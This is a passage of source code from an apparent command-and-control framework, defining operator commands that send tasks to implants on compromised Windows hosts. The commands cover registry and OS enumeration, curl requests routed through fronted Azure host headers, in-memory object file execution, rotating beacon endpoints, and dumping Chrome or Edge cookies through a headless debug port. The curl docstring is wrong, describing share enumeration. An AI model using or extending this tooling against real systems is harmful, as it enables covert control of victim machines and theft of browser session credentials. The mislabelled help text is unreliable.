MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
reg-read <path> <keyname>
|
|
|
|
Examples:
|
|
reg-read HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall Adobe
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration, Tag.Registry])
|
|
def do_reg_read_uninstall(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Lists the UninstallString for each key under
|
|
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
reg-read-uninstall
|
|
|
|
Examples:
|
|
reg-read-uninstall
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_get_os_version(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Returns the OS Version using OSVERSIONINFOEXW.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-os-version
|
|
|
|
Examples:
|
|
get-os-version
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Web])
|
|
def do_curl(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Enumerates shares on the target.
|
|
|
|
Uses netapi32.dll NetShareEnum.
|
|
|
|
Has a default hard-coded User-Agent from msedge, but would recommend specifying an up-to-date one in headers.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
curl <url> [host header] [proxy url> [proxy-user] [proxy-pass] [comma-separated-headers]
|
|
|
|
Examples:
|
|
curl https://www.google.co.uk
|
|
curl https://www.google.co.uk domain.azureedge.net
|
|
curl https://www.google.co.uk domain.azureedge.net http://10.10.10.10:8080
|
|
curl https://www.google.co.uk domain.azureedge.net http://10.10.10.10:8080 bob proxyPass
|
|
curl https://www.google.co.uk domain.azureedge.net http://10.10.10.10:8080 bob proxyPass header1:value1,User-Agent:curl
|
|
curl https://www.google.co.uk domain.azureedge.net "" "" "" header1:value1,header2:value2
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Web])
|
|
def do_runof(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs an Object File like a Cobalt Strike BOF in memory from the current process.
|
|
|
|
Autocompletion for OFs is from resources/modules/OFs.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
runof <OF location> [OF args]
|
|
|
|
Examples:
|
|
runof whoami.x64.o
|
|
"""
|
|
check_module_loaded("RunOF.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("runof ", "run-exe RunOF.Program RunOF ")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Comms])
|
|
def do_update_http_comms(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Updates the HTTP beacon comms in use by a HTTP implant.
|
|
|
|
Presents a wizard for navigating the options.
|
|
The change is ephemeral and not persisted if the implant is restarted etc.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
update-http-comms
|
|
|
|
Examples:
|
|
update-http-comms
|
|
"""
|
|
implant = get_implant(implant_id)
|
|
implant_type = ImplantType.get(implant.type)
|
|
|
|
if command_prefix != "" or implant_type not in [ImplantType.SharpHttp, ImplantType.SharpHttpProxy]:
|
|
print_bad("update-http-comms can only be called on an internet-connected HTTP implant")
|
|
return
|
|
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.comms-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
beacon_comms_hosts = session.prompt(
|
|
"Comma separated list of URLs to rotate over (e.g. https://127.0.0.1): ").strip()
|
|
beacon_comms_headers = session.prompt(
|
|
"Comma separated list of host headers (e.g. asdf.azureedge.net): ").strip()
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
config_update = build_sharp_config(
|
|
beacon_comms_hosts=beacon_comms_hosts,
|
|
beacon_comms_headers=beacon_comms_headers,
|
|
# TODO beacon_uris=beacon_uris,
|
|
# beacon_images=beacon_images
|
|
)
|
|
|
|
command = f"update-config {config_update}"
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Credential_Harvesting])
|
|
def do_sharpcookiemonster(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Dumps cookies from Chrome or Edge.
|
|
|
|
Will start a new browser headless (no UI) with the debug port enabled and use that port to dump all the cookies.
|
|
|
|
This is https://github.com/m0rv4i/SharpCookieMonster.
|
|
|
|
An optional first argument specifies the site that chrome will initially connect to when launched (default
|
|
https://www.google.com).
|
|
An optional second argument sets whether chrome or msedge will be checked (default to chrome).
|
|
An optional third argument specifies the port to launch the chrome debugger on (by default 9142).
|
|
Finally, an optional third argument specifies the path to the user data directory, which can be overridden in order
|
|
to access different profiles etc (default %APPDATALOCAL%\\Google\\Chrome\\User Data).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
sharpcookiemonster [url] [edge|chrome] [debugging-port] [user-data-dir]
|
|
|
|
Examples:
|
|
sharpcookiemonster
|
|
sharpcookiemonster https://bbc.co.uk
|
|
sharpcookiemonster https://bbc.co.uk edge
|
|
sharpcookiemonster https://bbc.co.uk edge 4444
|
|
sharpcookiemonster https://bbc.co.uk chrome 4444 C:\\chromeprofiles
|
|
"""
|
|
check_module_loaded("SharpCookieMonster.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("sharpcookiemonster", "run-exe SharpCookieMonster.Program SharpCookieMonster")
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|